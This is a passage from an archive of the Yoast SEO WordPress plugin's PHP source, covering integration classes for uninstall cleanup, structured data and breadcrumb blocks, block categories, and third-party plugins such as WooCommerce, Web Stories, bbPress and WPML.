					static function ( $object_type ) use ( $post_type_names ) {
						return \in_array( $object_type, $post_type_names, true );
					}
				),
				'isNew'         => \in_array( $taxonomy->name, $new_taxonomies, true ),
			];
		}

		\uasort(
			$transformed,
			static function ( $a, $b ) {
				return \strnatcmp( $a['label'], $b['label'] );
			}
		);

		return $transformed;
	}

	/**
	 * Gets the route from a name, rewrite and rest_base.
	 *
	 * @param string $name      The name.
	 * @param array  $rewrite   The rewrite data.
	 * @param string $rest_base The rest base.
	 *
	 * @return string The route.
	 */
	protected function get_route( $name, $rewrite, $rest_base ) {
		$route = $name;
		if ( isset( $rewrite['slug'] ) ) {
			$route = $rewrite['slug'];
		}
		if ( ! empty( $rest_base ) ) {
			$route = $rest_base;
		}
		// Always strip leading slashes.
		while ( \substr( $route, 0, 1 ) === '/' ) {
			$route = \substr( $route, 1 );
		}

		return $route;
	}

	/**
	 * Retrieves the fallbacks.
	 *
	 * @return array The fallbacks.
	 */
	protected function get_fallbacks() {
		$site_logo_id = \get_option( 'site_logo' );
		if ( ! $site_logo_id ) {
			$site_logo_id = \get_theme_mod( 'custom_logo' );
		}
		if ( ! $site_logo_id ) {
			$site_logo_id = '0';
		}

		return [
			'siteLogoId' => $site_logo_id,
		];
	}
}
wordpress-seo/src/integrations/uninstall-integration.php000064400000001756147510273100017731 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\No_Conditionals;

/**
 * Class to manage the integration with the WP uninstall flow.
 */
class Uninstall_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'uninstall_' . \WPSEO_BASENAME, [ $this, 'wpseo_uninstall' ] );
	}

	/**
	 * Performs all necessary actions that should happen upon plugin uninstall.
	 *
	 * @return void
	 */
	public function wpseo_uninstall() {
		$this->clear_import_statuses();
	}

	/**
	 * Clears the persistent import statuses.
	 *
	 * @return void
	 */
	public function clear_import_statuses() {
		$yoast_options = \get_site_option( 'wpseo' );

		if ( isset( $yoast_options['importing_completed'] ) ) {
			$yoast_options['importing_completed'] = [];

			\update_site_option( 'wpseo', $yoast_options );
		}
	}
}
wordpress-seo/src/integrations/blocks/structured-data-blocks.php000064400000027123147510273100021236 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class to load assets required for structured data blocks.
 */
class Structured_Data_Blocks implements Integration_Interface {

	use No_Conditionals;

	/**
	 * An instance of the WPSEO_Admin_Asset_Manager class.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * An instance of the image helper class.
	 *
	 * @var Image_Helper
	 */
	protected $image_helper;

	/**
	 * The image caches per post.
	 *
	 * @var array
	 */
	protected $caches = [];

	/**
	 * The used cache keys per post.
	 *
	 * @var array
	 */
	protected $used_caches = [];

	/**
	 * Whether or not we've registered our shutdown function.
	 *
	 * @var bool
	 */
	protected $registered_shutdown_function = false;

	/**
	 * Structured_Data_Blocks constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
	 * @param Image_Helper              $image_helper  The image helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Image_Helper $image_helper
	) {
		$this->asset_manager = $asset_manager;
		$this->image_helper  = $image_helper;
	}

	/**
	 * Registers hooks for Structured Data Blocks with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		$this->register_blocks();
	}

	/**
	 * Registers the blocks.
	 *
	 * @return void
	 */
	public function register_blocks() {
		/**
		 * Filter: 'wpseo_enable_structured_data_blocks' - Allows disabling Yoast's schema blocks entirely.
		 *
		 * @param bool $enable If false, our structured data blocks won't show.
		 */
		if ( ! \apply_filters( 'wpseo_enable_structured_data_blocks', true ) ) {
			return;
		}

		\register_block_type(
			\WPSEO_PATH . 'blocks/structured-data-blocks/faq/block.json',
			[
				'render_callback' => [ $this, 'optimize_faq_images' ],
			]
		);
		\register_block_type(
			\WPSEO_PATH . 'blocks/structured-data-blocks/how-to/block.json',
			[
				'render_callback' => [ $this, 'optimize_how_to_images' ],
			]
		);
	}

	/**
	 * Optimizes images in the FAQ blocks.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with images optimized.
	 */
	public function optimize_faq_images( $attributes, $content ) {
		if ( ! isset( $attributes['questions'] ) ) {
			return $content;
		}

		return $this->optimize_images( $attributes['questions'], 'answer', $content );
	}

	/**
	 * Transforms the durations into a translated string containing the count, and either singular or plural unit.
	 * For example (in en-US): If 'days' is 1, it returns "1 day". If 'days' is 2, it returns "2 days".
	 * If a number value is 0, we don't output the string.
	 *
	 * @param number $days    Number of days.
	 * @param number $hours   Number of hours.
	 * @param number $minutes Number of minutes.
	 * @return array Array of pluralized durations.
	 */
	private function transform_duration_to_string( $days, $hours, $minutes ) {
		$strings = [];
		if ( $days ) {
			$strings[] = \sprintf(
			/* translators: %d expands to the number of day/days. */
				\_n( '%d day', '%d days', $days, 'wordpress-seo' ),
				$days
			);
		}
		if ( $hours ) {
			$strings[] = \sprintf(
			/* translators: %d expands to the number of hour/hours. */
				\_n( '%d hour', '%d hours', $hours, 'wordpress-seo' ),
				$hours
			);
		}
		if ( $minutes ) {
			$strings[] = \sprintf(
			/* translators: %d expands to the number of minute/minutes. */
				\_n( '%d minute', '%d minutes', $minutes, 'wordpress-seo' ),
				$minutes
			);
		}
		return $strings;
	}

	/**
	 * Formats the durations into a translated string.
	 *
	 * @param array $attributes The attributes.
	 * @return string The formatted duration.
	 */
	private function build_duration_string( $attributes ) {
		$days            = ( $attributes['days'] ?? 0 );
		$hours           = ( $attributes['hours'] ?? 0 );
		$minutes         = ( $attributes['minutes'] ?? 0 );
		$elements        = $this->transform_duration_to_string( $days, $hours, $minutes );
		$elements_length = \count( $elements );

		switch ( $elements_length ) {
			case 1:
				return $elements[0];
			case 2:
				return \sprintf(
				/* translators: %s expands to a unit of time (e.g. 1 day). */
					\__( '%1$s and %2$s', 'wordpress-seo' ),
					...$elements
				);
			case 3:
				return \sprintf(
				/* translators: %s expands to a unit of time (e.g. 1 day). */
					\__( '%1$s, %2$s and %3$s', 'wordpress-seo' ),
					...$elements
				);
			default:
				return '';
		}
	}

	/**
	 * Presents the duration text of the How-To block in the site language.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with the duration text in the site language.
	 */
	public function present_duration_text( $attributes, $content ) {
		$duration = $this->build_duration_string( $attributes );
		// 'Time needed:' is the default duration text that will be shown if a user doesn't add one.
		$duration_text = \__( 'Time needed:', 'wordpress-seo' );

		if ( isset( $attributes['durationText'] ) && $attributes['durationText'] !== '' ) {
			$duration_text = $attributes['durationText'];
		}

		return \preg_replace(
			'/(<p class="schema-how-to-total-time">)(<span class="schema-how-to-duration-time-text">.*<\/span>)(.[^\/p>]*)(<\/p>)/',
			'<p class="schema-how-to-total-time"><span class="schema-how-to-duration-time-text">' . $duration_text . '&nbsp;</span>' . $duration . '</p>',
			$content,
			1
		);
	}

	/**
	 * Optimizes images in the How-To blocks.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with images optimized.
	 */
	public function optimize_how_to_images( $attributes, $content ) {
		if ( ! isset( $attributes['steps'] ) ) {
			return $content;
		}

		$content = $this->present_duration_text( $attributes, $content );

		return $this->optimize_images( $attributes['steps'], 'text', $content );
	}

	/**
	 * Optimizes images in structured data blocks.
	 *
	 * @param array  $elements The list of elements from the block attributes.
	 * @param string $key      The key in the data to iterate over.
	 * @param string $content  The content.
	 *
	 * @return string The content with images optimized.
	 */
	private function optimize_images( $elements, $key, $content ) {
		global $post;
		if ( ! $post ) {
			return $content;
		}

		$this->add_images_from_attributes_to_used_cache( $post->ID, $elements, $key );

		// Then replace all images with optimized versions in the content.
		$content = \preg_replace_callback(
			'/<img[^>]+>/',
			function ( $matches ) {
				\preg_match( '/src="([^"]+)"/', $matches[0], $src_matches );
				if ( ! $src_matches || ! isset( $src_matches[1] ) ) {
					return $matches[0];
				}
				$attachment_id = $this->attachment_src_to_id( $src_matches[1] );
				if ( $attachment_id === 0 ) {
					return $matches[0];
				}
				$image_size  = 'full';
				$image_style = [ 'style' => 'max-width: 100%; height: auto;' ];
				\preg_match( '/style="[^"]*width:\s*(\d+)px[^"]*"/', $matches[0], $style_matches );
				if ( $style_matches && isset( $style_matches[1] ) ) {
					$width     = (int) $style_matches[1];
					$meta_data = \wp_get_attachment_metadata( $attachment_id );
					if ( isset( $meta_data['height'] ) && isset( $meta_data['width'] ) && $meta_data['height'] > 0 && $meta_data['width'] > 0 ) {
						$aspect_ratio = ( $meta_data['height'] / $meta_data['width'] );
						$height       = ( $width * $aspect_ratio );
						$image_size   = [ $width, $height ];
					}
					$image_style = '';
				}

				/**
				 * Filter: 'wpseo_structured_data_blocks_image_size' - Allows adjusting the image size in structured data blocks.
				 *
				 * @since 18.2
				 *
				 * @param string|int[] $image_size     The image size. Accepts any registered image size name, or an array of width and height values in pixels (in that order).
				 * @param int          $attachment_id  The id of the attachment.
				 * @param string       $attachment_src The attachment src.
				 */
				$image_size = \apply_filters(
					'wpseo_structured_data_blocks_image_size',
					$image_size,
					$attachment_id,
					$src_matches[1]
				);
				$image_html = \wp_get_attachment_image(
					$attachment_id,
					$image_size,
					false,
					$image_style
				);

				if ( empty( $image_html ) ) {
					return $matches[0];
				}

				return $image_html;
			},
			$content
		);

		if ( ! $this->registered_shutdown_function ) {
			\register_shutdown_function( [ $this, 'maybe_save_used_caches' ] );
			$this->registered_shutdown_function = true;
		}

		return $content;
	}

	/**
	 * If the caches of structured data block images have been changed, saves them.
	 *
	 * @return void
	 */
	public function maybe_save_used_caches() {
		foreach ( $this->used_caches as $post_id => $used_cache ) {
			if ( isset( $this->caches[ $post_id ] ) && $used_cache === $this->caches[ $post_id ] ) {
				continue;
			}
			\update_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', $used_cache );
		}
	}

	/**
	 * Converts an attachment src to an attachment ID.
	 *
	 * @param string $src The attachment src.
	 *
	 * @return int The attachment ID. 0 if none was found.
	 */
	private function attachment_src_to_id( $src ) {
		global $post;

		if ( isset( $this->used_caches[ $post->ID ][ $src ] ) ) {
			return $this->used_caches[ $post->ID ][ $src ];
		}

		$cache = $this->get_cache_for_post( $post->ID );
		if ( isset( $cache[ $src ] ) ) {
			$this->used_caches[ $post->ID ][ $src ] = $cache[ $src ];
			return $cache[ $src ];
		}

		$this->used_caches[ $post->ID ][ $src ] = $this->image_helper->get_attachment_by_url( $src );
		return $this->used_caches[ $post->ID ][ $src ];
	}

	/**
	 * Returns the cache from postmeta for a given post.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return array The images cache.
	 */
	private function get_cache_for_post( $post_id ) {
		if ( isset( $this->caches[ $post_id ] ) ) {
			return $this->caches[ $post_id ];
		}

		$cache = \get_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', true );
		if ( ! $cache ) {
			$cache = [];
		}

		$this->caches[ $post_id ] = $cache;
		return $cache;
	}

	/**
	 * Adds any images that have their ID in the block attributes to the cache.
	 *
	 * @param int    $post_id  The post ID.
	 * @param array  $elements The elements.
	 * @param string $key      The key in the elements we should loop over.
	 *
	 * @return void
	 */
	private function add_images_from_attributes_to_used_cache( $post_id, $elements, $key ) {
		// First grab all image IDs from the attributes.
		$images = [];
		foreach ( $elements as $element ) {
			if ( ! isset( $element[ $key ] ) ) {
				continue;
			}
			if ( isset( $element[ $key ] ) && \is_array( $element[ $key ] ) ) {
				foreach ( $element[ $key ] as $part ) {
					if ( ! \is_array( $part ) || ! isset( $part['type'] ) || $part['type'] !== 'img' ) {
						continue;
					}

					if ( ! isset( $part['key'] ) || ! isset( $part['props']['src'] ) ) {
						continue;
					}

					$images[ $part['props']['src'] ] = (int) $part['key'];
				}
			}
		}

		if ( isset( $this->used_caches[ $post_id ] ) ) {
			$this->used_caches[ $post_id ] = \array_merge( $this->used_caches[ $post_id ], $images );
		}
		else {
			$this->used_caches[ $post_id ] = $images;
		}
	}

	/* DEPRECATED METHODS */

	/**
	 * Enqueue Gutenberg block assets for backend editor.
	 *
	 * @deprecated 22.7
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function enqueue_block_editor_assets() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.7' );
	}
}
wordpress-seo/src/integrations/blocks/abstract-dynamic-block.php000064400000002365147510273100021166 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dynamic_Block class.
 */
abstract class Dynamic_Block implements Integration_Interface {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name;

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'init', [ $this, 'register_block' ], 11 );
	}

	/**
	 * Registers the block.
	 *
	 * @return void
	 */
	public function register_block() {
		\register_block_type(
			'yoast-seo/' . $this->block_name,
			[
				'editor_script'   => $this->script,
				'render_callback' => [ $this, 'present' ],
				'attributes'      => [
					'className' => [
						'default' => '',
						'type'    => 'string',
					],
				],
			]
		);
	}

	/**
	 * Presents the block output. This is abstract because in the loop we need to be able to build the data for the
	 * presenter in the last moment.
	 *
	 * @param array $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	abstract public function present( $attributes );
}
wordpress-seo/src/integrations/blocks/abstract-dynamic-block-v3.php000064400000005074147510273100021514 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dynamic_Block class.
 */
abstract class Dynamic_Block_V3 implements Integration_Interface {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name;

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script;

	/**
	 * The base path for the block.
	 *
	 * @var string
	 */
	protected $base_path;

	/**
	 *  Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Initializes the integration.
	 *
	 * Integrations hooking on `init` need to have a priority of 11 or higher to
	 * ensure that they run, as priority 10 is used by the loader to load the integrations.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'init', [ $this, 'register_block' ], 11 );
	}

	/**
	 * Registers the block.
	 *
	 * @return void
	 */
	public function register_block() {
		\register_block_type(
			$this->base_path . $this->block_name . '/block.json',
			[
				'editor_script'   => $this->script,
				'render_callback' => [ $this, 'present' ],
			]
		);
	}

	/**
	 * Presents the block output. This is abstract because in the loop we need to be able to build the data for the
	 * presenter in the last moment.
	 *
	 * @param array<string, bool|string|int|array> $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	abstract public function present( $attributes );

	/**
	 * Checks whether the links in the block should have target="blank".
	 *
	 * This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window.
	 * We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor.
	 *
	 * @return bool returns if the block should be opened in another window.
	 */
	protected function should_link_target_blank(): bool {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
			if ( \wp_unslash( $_GET['context'] ) === 'edit' ) {
				return true;
			}
		}
		return false;
	}
}
wordpress-seo/src/integrations/blocks/block-editor-integration.php000064400000002332147510273100021542 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin\Post_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Block_Editor_Integration class to enqueue the block editor assets also for the iframe.
 */
class Block_Editor_Integration implements Integration_Interface {

	/**
	 * Represents the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * {@inheritDoc}
	 *
	 * @return array<Post_Conditional>
	 */
	public static function get_conditionals() {
		return [ Post_Conditional::class ];
	}

	/**
	 * Constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
	 */
	public function __construct( WPSEO_Admin_Asset_Manager $asset_manager ) {
		$this->asset_manager = $asset_manager;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'enqueue_block_assets', [ $this, 'enqueue' ] );
	}

	/**
	 * Enqueues the assets for the block editor.
	 *
	 * @return void
	 */
	public function enqueue() {
		$this->asset_manager->enqueue_style( 'block-editor' );
	}
}
wordpress-seo/src/integrations/blocks/breadcrumbs-block.php000064400000006656147510273100020241 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Siblings block class
 */
class Breadcrumbs_Block extends Dynamic_Block_V3 {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name = 'breadcrumbs';

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script = 'yoast-seo-dynamic-blocks';

	/**
	 * The Meta_Tags_Context_Memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The Replace vars helper.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	private $helpers;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * Siblings_Block constructor.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer     The context.
	 * @param WPSEO_Replace_Vars         $replace_vars         The replace variable helper.
	 * @param Helpers_Surface            $helpers              The Helpers surface.
	 * @param Indexable_Repository       $indexable_repository The indexable repository.
	 */
	public function __construct(
		Meta_Tags_Context_Memoizer $context_memoizer,
		WPSEO_Replace_Vars $replace_vars,
		Helpers_Surface $helpers,
		Indexable_Repository $indexable_repository
	) {
		$this->context_memoizer     = $context_memoizer;
		$this->replace_vars         = $replace_vars;
		$this->helpers              = $helpers;
		$this->indexable_repository = $indexable_repository;

		$this->base_path = \WPSEO_PATH . 'blocks/dynamic-blocks/';
	}

	/**
	 * Presents the breadcrumbs output for the current page or the available post_id.
	 *
	 * @param array<string, bool|string|int|array> $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	public function present( $attributes ) {
		$presenter = new Breadcrumbs_Presenter();
		// $this->context_memoizer->for_current_page only works on the frontend. To render the right breadcrumb in the
		// editor, we need the repository.
		if ( \wp_is_serving_rest_request() || \is_admin() ) {
			$post_id = \get_the_ID();
			if ( $post_id ) {
				$indexable = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );

				if ( ! $indexable ) {
					$post      = \get_post( $post_id );
					$indexable = $this->indexable_repository->query()->create(
						[
							'object_id'        => $post_id,
							'object_type'      => 'post',
							'object_sub_type'  => $post->post_type,
						]
					);
				}

				$context = $this->context_memoizer->get( $indexable, 'Post_Type' );
			}
		}
		if ( ! isset( $context ) ) {
			$context = $this->context_memoizer->for_current_page();
		}

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation            = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$presenter->presentation = $presentation;
		$presenter->replace_vars = $this->replace_vars;
		$presenter->helpers      = $this->helpers;
		$class_name              = 'yoast-breadcrumbs';

		if ( ! empty( $attributes['className'] ) ) {
			$class_name .= ' ' . \esc_attr( $attributes['className'] );
		}

		return '<div class="' . $class_name . '">' . $presenter->present() . '</div>';
	}
}
wordpress-seo/src/integrations/blocks/block-categories.php000064400000002132147510273100020056 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Internal_Linking_Category block class.
 */
class Internal_Linking_Category implements Integration_Interface {

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'block_categories_all', [ $this, 'add_block_categories' ] );
	}

	/**
	 * Adds Yoast block categories.
	 *
	 * @param array $categories The categories.
	 * @return array The filtered categories.
	 */
	public function add_block_categories( $categories ) {
		$categories[] = [
			'slug'  => 'yoast-structured-data-blocks',
			'title' => \sprintf(
				/* translators: %1$s expands to Yoast. */
				\__( '%1$s Structured Data Blocks', 'wordpress-seo' ),
				'Yoast'
			),
		];
		$categories[] = [
			'slug'  => 'yoast-internal-linking-blocks',
			'title' => \sprintf(
				/* translators: %1$s expands to Yoast. */
				\__( '%1$s Internal Linking Blocks', 'wordpress-seo' ),
				'Yoast'
			),
		];

		return $categories;
	}
}
wordpress-seo/src/integrations/third-party/exclude-woocommerce-post-types.php000064400000001613147510273100023731 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Integrations\Abstract_Exclude_Post_Type;

/**
 * Excludes certain WooCommerce-specific post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_WooCommerce_Post_Types extends Abstract_Exclude_Post_Type {

	/**
	 * This integration is only active when the WooCommerce plugin
	 * is installed and activated.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'shop_order' ];
	}
}
wordpress-seo/src/integrations/third-party/web-stories.php000064400000007731147510273100020110 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Web_Stories_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Title_Presenter;

/**
 * Web Stories integration.
 */
class Web_Stories implements Integration_Interface {

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Web_Stories_Conditional::class ];
	}

	/**
	 * Constructs the Web Stories integration
	 *
	 * @param Front_End_Integration $front_end The front end integration.
	 */
	public function __construct( Front_End_Integration $front_end ) {
		$this->front_end = $front_end;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Disable default title and meta description output in the Web Stories plugin,
		// and force-add title & meta description presenter, regardless of theme support.
		\add_filter( 'web_stories_enable_document_title', '__return_false' );
		\add_filter( 'web_stories_enable_metadata', '__return_false' );
		\add_filter( 'wpseo_frontend_presenters', [ $this, 'filter_frontend_presenters' ], 10, 2 );

		\add_action( 'web_stories_enable_schemaorg_metadata', '__return_false' );
		\add_action( 'web_stories_enable_open_graph_metadata', '__return_false' );
		\add_action( 'web_stories_enable_twitter_metadata', '__return_false' );

		\add_action( 'web_stories_story_head', [ $this, 'web_stories_story_head' ], 1 );
		\add_filter( 'wpseo_schema_article_type', [ $this, 'filter_schema_article_type' ], 10, 2 );
		\add_filter( 'wpseo_metadesc', [ $this, 'filter_meta_description' ], 10, 2 );
	}

	/**
	 * Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request.
	 *
	 * @param array             $presenters The presenters.
	 * @param Meta_Tags_Context $context    The meta tags context for the current page.
	 * @return array Filtered presenters.
	 */
	public function filter_frontend_presenters( $presenters, $context ) {
		if ( $context->indexable->object_sub_type !== 'web-story' ) {
			return $presenters;
		}

		$has_title_presenter = false;

		foreach ( $presenters as $presenter ) {
			if ( $presenter instanceof Title_Presenter ) {
				$has_title_presenter = true;
			}
		}

		if ( ! $has_title_presenter ) {
			$presenters[] = new Title_Presenter();
		}

		return $presenters;
	}

	/**
	 * Hooks into web story <head> generation to modify output.
	 *
	 * @return void
	 */
	public function web_stories_story_head() {
		\remove_action( 'web_stories_story_head', 'rel_canonical' );
		\add_action( 'web_stories_story_head', [ $this->front_end, 'call_wpseo_head' ], 9 );
	}

	/**
	 * Filters the meta description for stories.
	 *
	 * @param string                 $description  The description sentence.
	 * @param Indexable_Presentation $presentation The presentation of an indexable.
	 * @return string The description sentence.
	 */
	public function filter_meta_description( $description, $presentation ) {
		if ( $description || $presentation->model->object_sub_type !== 'web-story' ) {
			return $description;
		}

		return \get_the_excerpt( $presentation->model->object_id );
	}

	/**
	 * Filters Article type for Web Stories.
	 *
	 * @param string|string[] $type      The Article type.
	 * @param Indexable       $indexable The indexable.
	 * @return string|string[] Article type.
	 */
	public function filter_schema_article_type( $type, $indexable ) {
		if ( $indexable->object_sub_type !== 'web-story' ) {
			return $type;
		}

		if ( \is_string( $type ) && $type === 'None' ) {
			return 'Article';
		}

		return $type;
	}
}
wordpress-seo/src/integrations/third-party/bbpress.php000064400000002651147510273100017301 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * BbPress integration.
 */
class BbPress implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * BbPress constructor.
	 *
	 * @codeCoverageIgnore It only sets dependencies.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options->get( 'breadcrumbs-enable' ) !== true ) {
			return;
		}

		/**
		 * If breadcrumbs are active (which they supposedly are if the users has enabled this settings,
		 * there's no reason to have bbPress breadcrumbs as well.
		 *
		 * {@internal The class itself is only loaded when the template tag is encountered
		 *            via the template tag function in the wpseo-functions.php file.}}
		 */
		\add_filter( 'bbp_get_breadcrumb', '__return_false' );
	}
}
wordpress-seo/src/integrations/third-party/wpml-wpseo-notification.php000064400000006567147510273100022451 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Adds a notification to the dashboard if the WPML plugin is installed,
 * but the Yoast SEO Multilingual plugin (a glue plugin to make Yoast SEO and WPML work nicely together)
 * is not.
 */
class WPML_WPSEO_Notification implements Integration_Interface {

	/**
	 * The notification ID.
	 *
	 * @internal
	 */
	public const NOTIFICATION_ID = 'wpml-wpseo-not-installed';

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The WPML WPSEO conditional.
	 *
	 * @var WPML_WPSEO_Conditional
	 */
	protected $wpml_wpseo_conditional;

	/**
	 * WPML WPSEO notification constructor.
	 *
	 * @param Short_Link_Helper         $short_link_helper      The short link helper.
	 * @param Yoast_Notification_Center $notification_center    The notification center.
	 * @param WPML_WPSEO_Conditional    $wpml_wpseo_conditional The WPML WPSEO conditional.
	 */
	public function __construct(
		Short_Link_Helper $short_link_helper,
		Yoast_Notification_Center $notification_center,
		WPML_WPSEO_Conditional $wpml_wpseo_conditional
	) {
		$this->short_link_helper      = $short_link_helper;
		$this->notification_center    = $notification_center;
		$this->wpml_wpseo_conditional = $wpml_wpseo_conditional;
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_notices', [ $this, 'notify_not_installed' ] );
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * This integration should only be active when WPML is installed and activated.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ WPML_Conditional::class ];
	}

	/**
	 * Notify the user that the Yoast SEO Multilingual plugin is not installed
	 * (when the WPML plugin is installed).
	 *
	 * Remove the notification again when it is installed.
	 *
	 * @return void
	 */
	public function notify_not_installed() {
		if ( ! $this->wpml_wpseo_conditional->is_met() ) {
			$this->notification_center->add_notification( $this->get_notification() );
			return;
		}
